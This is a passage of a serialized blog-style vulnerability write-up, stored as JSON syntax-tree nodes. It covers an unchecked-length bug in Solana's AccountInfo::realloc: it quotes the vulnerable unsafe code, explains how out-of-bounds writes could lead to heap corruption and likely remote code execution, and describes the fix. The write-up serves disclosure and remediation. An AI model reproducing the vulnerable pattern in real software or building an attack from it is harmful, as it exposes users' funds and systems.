post_len",{"type":23,"tag":314,"props":16159,"children":16160},{"style":354},[16161],{"type":28,"value":282},{"type":23,"tag":314,"props":16163,"children":16164},{"style":332},[16165],{"type":28,"value":13539},{"type":23,"tag":314,"props":16167,"children":16168},{"style":338},[16169],{"type":28,"value":341},{"type":23,"tag":314,"props":16171,"children":16172},{"style":354},[16173],{"type":28,"value":256},{"type":23,"tag":314,"props":16175,"children":16176},{"style":360},[16177],{"type":28,"value":16178},"pre_len",{"type":23,"tag":314,"props":16180,"children":16181},{"style":338},[16182],{"type":28,"value":16183},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":314,"props":16185,"children":16186},{"class":316,"line":370},[16187,16192,16196,16200,16205,16209],{"type":23,"tag":314,"props":16188,"children":16189},{"style":354},[16190],{"type":28,"value":16191}," ||",{"type":23,"tag":314,"props":16193,"children":16194},{"style":360},[16195],{"type":28,"value":16157},{"type":23,"tag":314,"props":16197,"children":16198},{"style":354},[16199],{"type":28,"value":13441},{"type":23,"tag":314,"props":16201,"children":16202},{"style":338},[16203],{"type":28,"value":16204}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":314,"props":16206,"children":16207},{"style":321},[16208],{"type":28,"value":8094},{"type":23,"tag":314,"props":16210,"children":16211},{"style":2674},[16212],{"type":28,"value":16213}," usize\n",{"type":23,"tag":314,"props":16215,"children":16216},{"class":316,"line":380},[16217],{"type":23,"tag":314,"props":16218,"children":16219},{"style":338},[16220],{"type":28,"value":10129},{"type":23,"tag":314,"props":16222,"children":16223},{"class":316,"line":1091},[16224,16229,16233,16237,16241,16245,16250],{"type":23,"tag":314,"props":16225,"children":16226},{"style":2284},[16227],{"type":28,"value":16228}," return",{"type":23,"tag":314,"props":16230,"children":16231},{"style":2674},[16232],{"type":28,"value":14990},{"type":23,"tag":314,"props":16234,"children":16235},{"style":338},[16236],{"type":28,"value":341},{"type":23,"tag":314,"props":16238,"children":16239},{"style":2674},[16240],{"type":28,"value":14999},{"type":23,"tag":314,"props":16242,"children":16243},{"style":354},[16244],{"type":28,"value":2737},{"type":23,"tag":314,"props":16246,"children":16247},{"style":2674},[16248],{"type":28,"value":16249},"InvalidRealloc",{"type":23,"tag":314,"props":16251,"children":16252},{"style":338},[16253],{"type":28,"value":1025},{"type":23,"tag":314,"props":16255,"children":16256},{"class":316,"line":1141},[16257],{"type":23,"tag":314,"props":16258,"children":16259},{"style":338},[16260],{"type":28,"value":386},{"type":23,"tag":24,"props":16262,"children":16263},{},[16264,16266,16271,16273,16278],{"type":28,"value":16265},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":186,"props":16267,"children":16268},{},[16269],{"type":28,"value":16270},"finishes",{"type":28,"value":16272}," execution. ",{"type":23,"tag":186,"props":16274,"children":16275},{},[16276],{"type":28,"value":16277},"During",{"type":28,"value":16279}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":24,"props":16281,"children":16282},{},[16283,16285,16290,16292,16297,16299,16306],{"type":28,"value":16284},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":186,"props":16286,"children":16287},{},[16288],{"type":28,"value":16289},"arbitrary",{"type":28,"value":16291}," memory access through a mistakenly-",{"type":23,"tag":94,"props":16293,"children":16295},{"className":16294},[],[16296],{"type":28,"value":12886},{"type":28,"value":16298},"'d account, this falls in the relm of some ",{"type":23,"tag":31,"props":16300,"children":16303},{"href":16301,"rel":16302},"https://en.wikipedia.org/wiki/Buffer_overflow",[35],[16304],{"type":28,"value":16305},"old-school pwning",{"type":28,"value":16307}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":837,"props":16309,"children":16311},{"id":16310},"not-contracts",[16312],{"type":28,"value":16313},"Not-contracts?",{"type":23,"tag":24,"props":16315,"children":16316},{},[16317,16319,16324,16326,16336,16338,16350,16352,16359,16361,16366,16368,16373,16375,16388,16390,16395,16397,16402],{"type":28,"value":16318},"Remember when we said that all this code makes sense ",{"type":23,"tag":186,"props":16320,"children":16321},{},[16322],{"type":28,"value":16323},"if the data points to the BPF loader's serialized buffer",{"type":28,"value":16325},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":31,"props":16327,"children":16330},{"href":16328,"rel":16329},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[35],[16331],{"type":23,"tag":94,"props":16332,"children":16334},{"className":16333},[],[16335],{"type":28,"value":14181},{"type":28,"value":16337}," are public, and so is its ",{"type":23,"tag":31,"props":16339,"children":16342},{"href":16340,"rel":16341},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[35],[16343,16348],{"type":23,"tag":94,"props":16344,"children":16346},{"className":16345},[],[16347],{"type":28,"value":14364},{"type":28,"value":16349}," method",{"type":28,"value":16351}," (which is ",{"type":23,"tag":31,"props":16353,"children":16356},{"href":16354,"rel":16355},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[35],[16357],{"type":28,"value":16358},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":28,"value":16360},"). The ",{"type":23,"tag":94,"props":16362,"children":16364},{"className":16363},[],[16365],{"type":28,"value":12886},{"type":28,"value":16367}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":94,"props":16369,"children":16371},{"className":16370},[],[16372],{"type":28,"value":14181},{"type":28,"value":16374}," ourselves - potentially through the ",{"type":23,"tag":31,"props":16376,"children":16379},{"href":16377,"rel":16378},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[35],[16380,16386],{"type":23,"tag":94,"props":16381,"children":16383},{"className":16382},[],[16384],{"type":28,"value":16385},"Account",{"type":28,"value":16387}," trait",{"type":28,"value":16389},", which is hardly documented at all and makes ",{"type":23,"tag":186,"props":16391,"children":16392},{},[16393],{"type":28,"value":16394},"no",{"type":28,"value":16396}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":94,"props":16398,"children":16400},{"className":16399},[],[16401],{"type":28,"value":249},{"type":28,"value":16403}," buffer.",{"type":23,"tag":24,"props":16405,"children":16406},{},[16407,16409,16420,16422,16428,16430,16436,16438,16451,16453,16458,16460,16465,16467,16472,16474,16479,16481,16486,16488,16493],{"type":28,"value":16408},"One long arm of this is ",{"type":23,"tag":31,"props":16410,"children":16413},{"href":16411,"rel":16412},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[35],[16414],{"type":23,"tag":94,"props":16415,"children":16417},{"className":16416},[],[16418],{"type":28,"value":16419},"solana_sdk::account::Account",{"type":28,"value":16421}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":94,"props":16423,"children":16425},{"className":16424},[],[16426],{"type":28,"value":16427},"Vec\u003Cu8>",{"type":28,"value":16429},", and it implements ",{"type":23,"tag":94,"props":16431,"children":16433},{"className":16432},[],[16434],{"type":28,"value":16435},"solana_program::account_info::Account",{"type":28,"value":16437}," (the trait from earlier) - by ",{"type":23,"tag":31,"props":16439,"children":16442},{"href":16440,"rel":16441},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[35],[16443,16445],{"type":28,"value":16444},"returning a reference to the contents of that ",{"type":23,"tag":94,"props":16446,"children":16448},{"className":16447},[],[16449],{"type":28,"value":16450},"Vec",{"type":28,"value":16452},". So, ",{"type":23,"tag":94,"props":16454,"children":16456},{"className":16455},[],[16457],{"type":28,"value":12886},{"type":28,"value":16459}," writes the size into the 8 bytes right before ",{"type":23,"tag":94,"props":16461,"children":16463},{"className":16462},[],[16464],{"type":28,"value":249},{"type":28,"value":16466},"; ",{"type":23,"tag":94,"props":16468,"children":16470},{"className":16469},[],[16471],{"type":28,"value":249},{"type":28,"value":16473}," is the buffer of a ",{"type":23,"tag":94,"props":16475,"children":16477},{"className":16476},[],[16478],{"type":28,"value":16450},{"type":28,"value":16480},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":94,"props":16482,"children":16484},{"className":16483},[],[16485],{"type":28,"value":14181},{"type":28,"value":16487}," out of an SDK ",{"type":23,"tag":94,"props":16489,"children":16491},{"className":16490},[],[16492],{"type":28,"value":16385},{"type":28,"value":16494}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":61,"props":16496,"children":16498},{"id":16497},"remediation",[16499],{"type":28,"value":16500},"Remediation",{"type":23,"tag":24,"props":16502,"children":16503},{},[16504],{"type":28,"value":16505},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":24,"props":16507,"children":16508},{},[16509,16511,16516,16518,16523,16525,16536,16538,16543,16545,16552],{"type":28,"value":16510},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":94,"props":16512,"children":16514},{"className":16513},[],[16515],{"type":28,"value":14181},{"type":28,"value":16517},"... except for the fact that the layout of ",{"type":23,"tag":94,"props":16519,"children":16521},{"className":16520},[],[16522],{"type":28,"value":14181},{"type":28,"value":16524}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":14716,"props":16526,"children":16527},{},[16528],{"type":23,"tag":31,"props":16529,"children":16533},{"href":16530,"ariaDescribedBy":16531,"dataFootnoteRef":7,"id":16532},"#user-content-fn-layout",[14723],"user-content-fnref-layout",[16534],{"type":28,"value":16535},"3",{"type":28,"value":16537}," So, with changing ",{"type":23,"tag":94,"props":16539,"children":16541},{"className":16540},[],[16542],{"type":28,"value":14181},{"type":28,"value":16544}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":31,"props":16546,"children":16549},{"href":16547,"rel":16548},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[35],[16550],{"type":28,"value":16551},"this function",{"type":28,"value":3746},{"type":23,"tag":304,"props":16554,"children":16556},{"className":2234,"code":16555,"language":2233,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[16557],{"type":23,"tag":94,"props":16558,"children":16559},{"__ignoreMap":7},[16560,16568,16576,16584,16592,16599,16607,16615,16663,16728,16793,16814],{"type":23,"tag":314,"props":16561,"children":16562},{"class":316,"line":317},[16563],{"type":23,"tag":314,"props":16564,"children":16565},{"style":374},[16566],{"type":28,"value":16567},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":314,"props":16569,"children":16570},{"class":316,"line":370},[16571],{"type":23,"tag":314,"props":16572,"children":16573},{"style":374},[16574],{"type":28,"value":16575},"/// current program invocation.\n",{"type":23,"tag":314,"props":16577,"children":16578},{"class":316,"line":380},[16579],{"type":23,"tag":314,"props":16580,"children":16581},{"style":374},[16582],{"type":28,"value":16583},"///\n",{"type":23,"tag":314,"props":16585,"children":16586},{"class":316,"line":1091},[16587],{"type":23,"tag":314,"props":16588,"children":16589},{"style":374},[16590],{"type":28,"value":16591},"/// # Safety\n",{"type":23,"tag":314,"props":16593,"children":16594},{"class":316,"line":1141},[16595],{"type":23,"tag":314,"props":16596,"children":16597},{"style":374},[16598],{"type":28,"value":16583},{"type":23,"tag":314,"props":16600,"children":16601},{"class":316,"line":1173},[16602],{"type":23,"tag":314,"props":16603,"children":16604},{"style":374},[16605],{"type":28,"value":16606},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":314,"props":16608,"children":16609},{"class":316,"line":1208},[16610],{"type":23,"tag":314,"props":16611,"children":16612},{"style":374},[16613],{"type":28,"value":16614},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":314,"props":16616,"children":16617},{"class":316,"line":1216},[16618,16622,16626,16630,16635,16639,16643,16647,16651,16655,16659],{"type":23,"tag":314,"props":16619,"children":16620},{"style":321},[16621],{"type":28,"value":12938},{"type":23,"tag":314,"props":16623,"children":16624},{"style":321},[16625],{"type":28,"value":13837},{"type":23,"tag":314,"props":16627,"children":16628},{"style":321},[16629],{"type":28,"value":12943},{"type":23,"tag":314,"props":16631,"children":16632},{"style":332},[16633],{"type":28,"value":16634}," original_data_len",{"type":23,"tag":314,"props":16636,"children":16637},{"style":338},[16638],{"type":28,"value":341},{"type":23,"tag":314,"props":16640,"children":16641},{"style":354},[16642],{"type":28,"value":1833},{"type":23,"tag":314,"props":16644,"children":16645},{"style":321},[16646],{"type":28,"value":12961},{"type":23,"tag":314,"props":16648,"children":16649},{"style":338},[16650],{"type":28,"value":2343},{"type":23,"tag":314,"props":16652,"children":16653},{"style":354},[16654],{"type":28,"value":1015},{"type":23,"tag":314,"props":16656,"children":16657},{"style":2674},[16658],{"type":28,"value":12979},{"type":23,"tag":314,"props":16660,"children":16661},{"style":338},[16662],{"type":28,"value":1449},{"type":23,"tag":314,"props":16664,"children":16665},{"class":316,"line":1301},[16666,16670,16675,16679,16683,16687,16692,16696,16700,16704,16708,16712,16716,16720,16724],{"type":23,"tag":314,"props":16667,"children":16668},{"style":321},[16669],{"type":28,"value":2254},{"type":23,"tag":314,"props":16671,"children":16672},{"style":360},[16673],{"type":28,"value":16674}," key_ptr",{"type":23,"tag":314,"props":16676,"children":16677},{"style":354},[16678],{"type":28,"value":1237},{"type":23,"tag":314,"props":16680,"children":16681},{"style":321},[16682],{"type":28,"value":13044},{"type":23,"tag":314,"props":16684,"children":16685},{"style":354},[16686],{"type":28,"value":282},{"type":23,"tag":314,"props":16688,"children":16689},{"style":338},[16690],{"type":28,"value":16691},"key ",{"type":23,"tag":314,"props":16693,"children":16694},{"style":321},[16695],{"type":28,"value":8094},{"type":23,"tag":314,"props":16697,"children":16698},{"style":354},[16699],{"type":28,"value":357},{"type":23,"tag":314,"props":16701,"children":16702},{"style":321},[16703],{"type":28,"value":346},{"type":23,"tag":314,"props":16705,"children":16706},{"style":360},[16707],{"type":28,"value":2292},{"type":23,"tag":314,"props":16709,"children":16710},{"style":321},[16711],{"type":28,"value":8080},{"type":23,"tag":314,"props":16713,"children":16714},{"style":354},[16715],{"type":28,"value":357},{"type":23,"tag":314,"props":16717,"children":16718},{"style":321},[16719],{"type":28,"value":346},{"type":23,"tag":314,"props":16721,"children":16722},{"style":2674},[16723],{"type":28,"value":13880},{"type":23,"tag":314,"props":16725,"children":16726},{"style":338},[16727],{"type":28,"value":2278},{"type":23,"tag":314,"props":16729,"children":16730},{"class":316,"line":1343},[16731,16735,16740,16744,16748,16752,16756,16760,16764,16768,16772,16776,16780,16784,16789],{"type":23,"tag":314,"props":16732,"children":16733},{"style":321},[16734],{"type":28,"value":2254},{"type":23,"tag":314,"props":16736,"children":16737},{"style":360},[16738],{"type":28,"value":16739}," original_data_len_ptr",{"type":23,"tag":314,"props":16741,"children":16742},{"style":354},[16743],{"type":28,"value":1237},{"type":23,"tag":314,"props":16745,"children":16746},{"style":360},[16747],{"type":28,"value":16674},{"type":23,"tag":314,"props":16749,"children":16750},{"style":354},[16751],{"type":28,"value":282},{"type":23,"tag":314,"props":16753,"children":16754},{"style":332},[16755],{"type":28,"value":13148},{"type":23,"tag":314,"props":16757,"children":16758},{"style":338},[16759],{"type":28,"value":341},{"type":23,"tag":314,"props":16761,"children":16762},{"style":354},[16763],{"type":28,"value":1051},{"type":23,"tag":314,"props":16765,"children":16766},{"style":1054},[16767],{"type":28,"value":1567},{"type":23,"tag":314,"props":16769,"children":16770},{"style":338},[16771],{"type":28,"value":2343},{"type":23,"tag":314,"props":16773,"children":16774},{"style":321},[16775],{"type":28,"value":8094},{"type":23,"tag":314,"props":16777,"children":16778},{"style":354},[16779],{"type":28,"value":357},{"type":23,"tag":314,"props":16781,"children":16782},{"style":321},[16783],{"type":28,"value":346},{"type":23,"tag":314,"props":16785,"children":16786},{"style":2674},[16787],{"type":28,"value":16788}," u32",{"type":23,"tag":314,"props":16790,"children":16791},{"style":338},[16792],{"type":28,"value":2278},{"type":23,"tag":314,"props":16794,"children":16795},{"class":316,"line":1351},[16796,16801,16806,16810],{"type":23,"tag":314,"props":16797,"children":16798},{"style":354},[16799],{"type":28,"value":16800}," *",{"type":23,"tag":314,"props":16802,"children":16803},{"style":360},[16804],{"type":28,"value":16805},"original_data_len_ptr",{"type":23,"tag":314,"props":16807,"children":16808},{"style":321},[16809],{"type":28,"value":8080},{"type":23,"tag":314,"props":16811,"children":16812},{"style":2674},[16813],{"type":28,"value":16213},{"type":23,"tag":314,"props":16815,"children":16816},{"class":316,"line":1387},[16817],{"type":23,"tag":314,"props":16818,"children":16819},{"style":338},[16820],{"type":28,"value":386},{"type":23,"tag":24,"props":16822,"children":16823},{},[16824,16826,16831,16833,16838,16840,16845,16847,16852,16854,16861,16863,16870,16871,16878,16879,16886,16887,16894],{"type":28,"value":16825},"It's marked ",{"type":23,"tag":94,"props":16827,"children":16829},{"className":16828},[],[16830],{"type":28,"value":13603},{"type":28,"value":16832},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":94,"props":16834,"children":16836},{"className":16835},[],[16837],{"type":28,"value":12886},{"type":28,"value":16839},", which originally was not ",{"type":23,"tag":94,"props":16841,"children":16843},{"className":16842},[],[16844],{"type":28,"value":13603},{"type":28,"value":16846},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":94,"props":16848,"children":16850},{"className":16849},[],[16851],{"type":28,"value":13603},{"type":28,"value":16853}," block and added ",{"type":23,"tag":31,"props":16855,"children":16858},{"href":16856,"rel":16857},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[35],[16859],{"type":28,"value":16860},"a doc comment",{"type":28,"value":16862}," - adding to the ",{"type":23,"tag":31,"props":16864,"children":16867},{"href":16865,"rel":16866},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[35],[16868],{"type":28,"value":16869},"small",{"type":28,"value":5713},{"type":23,"tag":31,"props":16872,"children":16875},{"href":16873,"rel":16874},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[35],[16876],{"type":28,"value":16877},"pile",{"type":28,"value":5713},{"type":23,"tag":31,"props":16880,"children":16883},{"href":16881,"rel":16882},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[35],[16884],{"type":28,"value":16885},"of",{"type":28,"value":5713},{"type":23,"tag":31,"props":16888,"children":16891},{"href":16889,"rel":16890},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[35],[16892],{"type":28,"value":16893},"functions",{"type":28,"value":16895}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":61,"props":16897,"children":16899},{"id":16898},"towards-safer-unsafe",[16900,16902],{"type":28,"value":16901},"Towards safer ",{"type":23,"tag":94,"props":16903,"children":16905},{"className":16904},[],[16906],{"type":28,"value":13603},{"type":23,"tag":24,"props":16908,"children":16909},{},[16910,16912,16917,16919,16924,16926,16933],{"type":28,"value":16911},"Let's circle back to that main ",{"type":23,"tag":94,"props":16913,"children":16915},{"className":16914},[],[16916],{"type":28,"value":13603},{"type":28,"value":16918}," block inside ",{"type":23,"tag":94,"props":16920,"children":16922},{"className":16921},[],[16923],{"type":28,"value":12886},{"type":28,"value":16925}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":31,"props":16927,"children":16930},{"href":16928,"rel":16929},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[35],[16931],{"type":28,"value":16932},"this",{"type":28,"value":3746},{"type":23,"tag":304,"props":16935,"children":16937},{"className":2234,"code":16936,"language":2233,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[16938],{"type":23,"tag":94,"props":16939,"children":16940},{"__ignoreMap":7},[16941,16949,16960,16968,17055,17086,17093,17101,17228,17259],{"type":23,"tag":314,"props":16942,"children":16943},{"class":316,"line":317},[16944],{"type":23,"tag":314,"props":16945,"children":16946},{"style":374},[16947],{"type":28,"value":16948},"// realloc\n",{"type":23,"tag":314,"props":16950,"children":16951},{"class":316,"line":370},[16952,16956],{"type":23,"tag":314,"props":16953,"children":16954},{"style":321},[16955],{"type":28,"value":13603},{"type":23,"tag":314,"props":16957,"children":16958},{"style":338},[16959],{"type":28,"value":1449},{"type":23,"tag":314,"props":16961,"children":16962},{"class":316,"line":380},[16963],{"type":23,"tag":314,"props":16964,"children":16965},{"style":374},[16966],{"type":28,"value":16967}," // First set new length in the serialized data\n",{"type":23,"tag":314,"props":16969,"children":16970},{"class":316,"line":1091},[16971,16975,16979,16983,16987,16991,16995,16999,17003,17007,17011,17015,17019,17023,17027,17031,17035,17039,17043,17047,17051],{"type":23,"tag":314,"props":16972,"children":16973},{"style":321},[16974],{"type":28,"value":2254},{"type":23,"tag":314,"props":16976,"children":16977},{"style":360},[16978],{"type":28,"value":13104},{"type":23,"tag":314,"props":16980,"children":16981},{"style":354},[16982],{"type":28,"value":1237},{"type":23,"tag":314,"props":16984,"children":16985},{"style":321},[16986],{"type":28,"value":13044},{"type":23,"tag":314,"props":16988,"children":16989},{"style":354},[16990],{"type":28,"value":282},{"type":23,"tag":314,"props":16992,"children":16993},{"style":332},[16994],{"type":28,"value":13121},{"type":23,"tag":314,"props":16996,"children":16997},{"style":338},[16998],{"type":28,"value":13126},{"type":23,"tag":314,"props":17000,"children":17001},{"style":354},[17002],{"type":28,"value":2387},{"type":23,"tag":314,"props":17004,"children":17005},{"style":332},[17006],{"type":28,"value":13135},{"type":23,"tag":314,"props":17008,"children":17009},{"style":338},[17010],{"type":28,"value":13126},{"type":23,"tag":314,"props":17012,"children":17013},{"style":354},[17014],{"type":28,"value":282},{"type":23,"tag":314,"props":17016,"children":17017},{"style":332},[17018],{"type":28,"value":13148},{"type":23,"tag":314,"props":17020,"children":17021},{"style":338},[17022],{"type":28,"value":341},{"type":23,"tag":314,"props":17024,"children":17025},{"style":354},[17026],{"type":28,"value":1051},{"type":23,"tag":314,"props":17028,"children":17029},{"style":1054},[17030],{"type":28,"value":3330},{"type":23,"tag":314,"props":17032,"children":17033},{"style":338},[17034],{"type":28,"value":2343},{"type":23,"tag":314,"props":17036,"children":17037},{"style":321},[17038],{"type":28,"value":8094},{"type":23,"tag":314,"props":17040,"children":17041},{"style":354},[17042],{"type":28,"value":357},{"type":23,"tag":314,"props":17044,"children":17045},{"style":321},[17046],{"type":28,"value":2979},{"type":23,"tag":314,"props":17048,"children":17049},{"style":2674},[17050],{"type":28,"value":5114},{"type":23,"tag":314,"props":17052,"children":17053},{"style":338},[17054],{"type":28,"value":2278},{"type":23,"tag":314,"props":17056,"children":17057},{"class":316,"line":1141},[17058,17062,17066,17070,17074,17078,17082],{"type":23,"tag":314,"props":17059,"children":17060},{"style":354},[17061],{"type":28,"value":16800},{"type":23,"tag":314,"props":17063,"children":17064},{"style":360},[17065],{"type":28,"value":13196},{"type":23,"tag":314,"props":17067,"children":17068},{"style":354},[17069],{"type":28,"value":1237},{"type":23,"tag":314,"props":17071,"children":17072},{"style":360},[17073],{"type":28,"value":13205},{"type":23,"tag":314,"props":17075,"children":17076},{"style":321},[17077],{"type":28,"value":8080},{"type":23,"tag":314,"props":17079,"children":17080},{"style":2674},[17081],{"type":28,"value":5114},{"type":23,"tag":314,"props":17083,"children":17084},{"style":338},[17085],{"type":28,"value":2278},{"type":23,"tag":314,"props":17087,"children":17088},{"class":316,"line":1173},[17089],{"type":23,"tag":314,"props":17090,"children":17091},{"emptyLinePlaceholder":18},[17092],{"type":28,"value":1088},{"type":23,"tag":314,"props":17094,"children":17095},{"class":316,"line":1208},[17096],{"type":23,"tag":314,"props":17097,"children":17098},{"style":374},[17099],{"type":28,"value":17100}," // Then set the new length in the local slice\n",{"type":23,"tag":314,"props":17102,"children":17103},{"class":316,"line":1216},[17104,17108,17112,17116,17120,17124,17128,17132,17136,17140,17144,17148,17152,17156,17160,17164,17168,17172,17176,17180,17184,17188,17192,17196,17200,17204,17208,17212,17216,17220,17224],{"type":23,"tag":314,"props":17105,"children":17106},{"style":321},[17107],{"type":28,"value":2254},{"type":23,"tag":314,"props":17109,"children":17110},{"style":360},[17111],{"type":28,"value":13104},{"type":23,"tag":314,"props":17113,"children":17114},{"style":354},[17115],{"type":28,"value":1237},{"type":23,"tag":314,"props":17117,"children":17118},{"style":354},[17119],{"type":28,"value":1968},{"type":23,"tag":314,"props":17121,"children":17122},{"style":321},[17123],{"type":28,"value":2979},{"type":23,"tag":314,"props":17125,"children":17126},{"style":354},[17127],{"type":28,"value":357},{"type":23,"tag":314,"props":17129,"children":17130},{"style":338},[17131],{"type":28,"value":13264},{"type":23,"tag":314,"props":17133,"children":17134},{"style":321},[17135],{"type":28,"value":12961},{"type":23,"tag":314,"props":17137,"children":17138},{"style":354},[17139],{"type":28,"value":282},{"type":23,"tag":314,"props":17141,"children":17142},{"style":338},[17143],{"type":28,"value":249},{"type":23,"tag":314,"props":17145,"children":17146},{"style":354},[17147],{"type":28,"value":282},{"type":23,"tag":314,"props":17149,"children":17150},{"style":332},[17151],{"type":28,"value":13285},{"type":23,"tag":314,"props":17153,"children":17154},{"style":338},[17155],{"type":28,"value":13290},{"type":23,"tag":314,"props":17157,"children":17158},{"style":321},[17159],{"type":28,"value":8094},{"type":23,"tag":314,"props":17161,"children":17162},{"style":354},[17163],{"type":28,"value":357},{"type":23,"tag":314,"props":17165,"children":17166},{"style":321},[17167],{"type":28,"value":346},{"type":23,"tag":314,"props":17169,"children":17170},{"style":2674},[17171],{"type":28,"value":5114},{"type":23,"tag":314,"props":17173,"children":17174},{"style":338},[17175],{"type":28,"value":431},{"type":23,"tag":314,"props":17177,"children":17178},{"style":354},[17179],{"type":28,"value":282},{"type":23,"tag":314,"props":17181,"children":17182},{"style":332},[17183],{"type":28,"value":13148},{"type":23,"tag":314,"props":17185,"children":17186},{"style":338},[17187],{"type":28,"value":341},{"type":23,"tag":314,"props":17189,"children":17190},{"style":1054},[17191],{"type":28,"value":3267},{"type":23,"tag":314,"props":17193,"children":17194},{"style":338},[17195],{"type":28,"value":2343},{"type":23,"tag":314,"props":17197,"children":17198},{"style":321},[17199],{"type":28,"value":8094},{"type":23,"tag":314,"props":17201,"children":17202},{"style":2674},[17203],{"type":28,"value":5114},{"type":23,"tag":314,"props":17205,"children":17206},{"style":338},[17207],{"type":28,"value":2343},{"type":23,"tag":314,"props":17209,"children":17210},{"style":321},[17211],{"type":28,"value":8094},{"type":23,"tag":314,"props":17213,"children":17214},{"style":354},[17215],{"type":28,"value":357},{"type":23,"tag":314,"props":17217,"children":17218},{"style":321},[17219],{"type":28,"value":2979},{"type":23,"tag":314,"props":17221,"children":17222},{"style":2674},[17223],{"type":28,"value":5114},{"type":23,"tag":314,"props":17225,"children":17226},{"style":338},[17227],{"type":28,"value":1025},{"type":23,"tag":314,"props":17229,"children":17230},{"class":316,"line":1301},[17231,17235,17239,17243,17247,17251,17255],{"type":23,"tag":314,"props":17232,"children":17233},{"style":354},[17234],{"type":28,"value":16800},{"type":23,"tag":314,"props":17236,"children":17237},{"style":360},[17238],{"type":28,"value":13196},{"type":23,"tag":314,"props":17240,"children":17241},{"style":354},[17242],{"type":28,"value":1237},{"type":23,"tag":314,"props":17244,"children":17245},{"style":360},[17246],{"type":28,"value":13205},{"type":23,"tag":314,"props":17248,"children":17249},{"style":321},[17250],{"type":28,"value":8080},{"type":23,"tag":314,"props":17252,"children":17253},{"style":2674},[17254],{"type":28,"value":5114},{"type":23,"tag":314,"props":17256,"children":17257},{"style":338},[17258],{"type":28,"value":2278},{"type":23,"tag":314,"props":17260,"children":17261},{"class":316,"line":1343},[17262],{"type":23,"tag":314,"props":17263,"children":17264},{"style":338},[17265],{"type":28,"value":386},{"type":23,"tag":24,"props":17267,"children":17268},{},[17269,17271,17276],{"type":28,"value":17270},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":94,"props":17272,"children":17274},{"className":17273},[],[17275],{"type":28,"value":14745},{"type":28,"value":17277}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":24,"props":17279,"children":17280},{},[17281,17283,17288,17290,17295,17297,17302,17304,17309,17311,17316,17318,17324,17326,17336,17338,17348],{"type":28,"value":17282},"First, let's deal with the ",{"type":23,"tag":94,"props":17284,"children":17286},{"className":17285},[],[17287],{"type":28,"value":14745},{"type":28,"value":17289}," borrowing issue. When we ",{"type":23,"tag":94,"props":17291,"children":17293},{"className":17292},[],[17294],{"type":28,"value":13121},{"type":28,"value":17296},", we get a ",{"type":23,"tag":94,"props":17298,"children":17300},{"className":17299},[],[17301],{"type":28,"value":15980},{"type":28,"value":17303}," back, which represents our borrow of the 